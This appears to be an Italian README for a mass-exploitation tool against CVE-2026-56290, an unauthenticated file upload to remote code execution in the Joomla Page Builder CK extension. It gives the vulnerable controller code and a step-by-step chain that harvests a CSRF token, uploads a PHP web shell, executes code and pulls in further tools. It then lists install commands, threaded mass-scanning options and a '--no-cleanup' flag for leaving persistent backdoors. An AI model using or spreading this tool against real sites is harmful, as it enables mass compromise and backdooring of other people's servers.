
๐ค Framework di sfruttamento di massa per CVE-2026-56290 โ Page Builder CK Joomla caricamento di file non autenticato a RCE
CVE-2026-56290 รจ una vulnerabilitร di gravitร critica in Page Builder CK (com_pagebuilderck), una popolare estensione per la creazione di pagine in Joomla. Il metodo del controller browse.ajaxAddPicture accetta caricamenti di file non autenticati con un percorso di destinazione controllato dall'utente, consentendo agli attaccanti di scrivere file PHP arbitrari in directory accessibili dal web.
// browse.php controller โ NESSUN controllo di autenticazione
function ajaxAddPicture() {
$input = JFactory::getApplication()->input;
$file = $input->files->get('file', null); // โ file controllato dall'utente
$path = trim($input->get('path', '')); // โ path controllato dall'utente, solo trim()!
// ... carica il file in $path senza convalidare la destinazione
}
Il parametro path subisce solo una sanitizzazione trim() โ niente whitelist, niente controllo di path traversal, niente gate di autenticazione. Combinato con un token CSRF pubblicamente accessibile da qualsiasi pagina Joomla, gli attaccanti possono caricare shell PHP da remoto in qualsiasi directory scrivibile.
| Vettore | Gravitร | Impatto |
|---|---|---|
| Caricamento File Non Autenticato | 9.8 (Critico) | Esecuzione arbitraria di codice PHP |
| Raccolta Token CSRF | 5.3 (Medio) | Abilita la catena di caricamento |
| Divulgazione di Informazioni | 5.3 (Medio) | Fingerprinting della versione dell'estensione |
1. COLPISCI la homepage Joomla โ raccogli token CSRF (hex32 + valore "1")
2. POST caricamento file โ task=browse.ajaxAddPicture&{token}=1
3. La shell PHP atterra in โ media/com_pagebuilderck/gfonts/shell.php
4. GET URL shell โ codice eseguito, RCE confermata
5. POST f=@file alla shell โ carica strumenti aggiuntivi
6. GET ?cleanup=1 โ shell si autodistrugge
| Versione Page Builder CK | Stato | Note |
|---|---|---|
| 3.1.1 e precedenti | ๐ด Vulnerabile | Caricamento non autenticato confermato |
| 3.4.10 e precedenti | ๐ด Vulnerabile | Range esteso per analisi |
| 3.5.10 e precedenti | ๐ด Vulnerabile | Alcune varianti corrette potrebbero esistere |
| > 3.5.10 | ๐ข Possibilmente Corretto | Verifica tramite manifest XML |
Nota: La versione viene rilevata dal file manifest di Joomla in
/administrator/manifests/files/com_pagebuilderck.xml. Se il manifest non รจ accessibile, lo scanner considera il target come potenzialmente vulnerabile.
๐ Ricognizione
|
๐ Sfruttamento
|
# Clona il repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit
# Installa le dipendenze
pip install -r requirements.txt
# Verifica
python cve_2026_56290.py --help
requests>=2.28.0
urllib3>=1.26.0
CVE-2026-56290 โ PageBuilderCK RCE Non Autenticata | Exploit di Massa & Validatore
-t, --target URL singolo target
-f, --file File con URL target (uno per riga, # per commenti)
-o, --output File output TXT live (default: cve-2026-56290_live.txt)
--json Percorso file report JSON (default: cve-2026-56290_report.json)
--threads Worker concorrenti (default: 20)
--timeout Timeout richiesta in secondi (default: 15)
--no-cleanup Lascia le shell sul target (backdoor persistente)
-v, --verbose Output verbose scoperta endpoint
--known-endpoint Salta scoperta: task,file_param,folder_param
# Singolo target
python cve_2026_56290.py -t https://target.com
# Scansione di massa da file
python cve_2026_56290.py -f targets.txt
# Output personalizzato + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v
# Lascia le shell (backdoor persistente)
python cve_2026_56290.py -t https://target.com --no-cleanup
# Salta scoperta con endpoint noto
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# commenti e righe vuote vengono ignorati
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
CVE-2026-56290 | 5 target | 20 thread | cleanup=si
TXT live: live_results.txt
2026-07-04 15:30:00
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ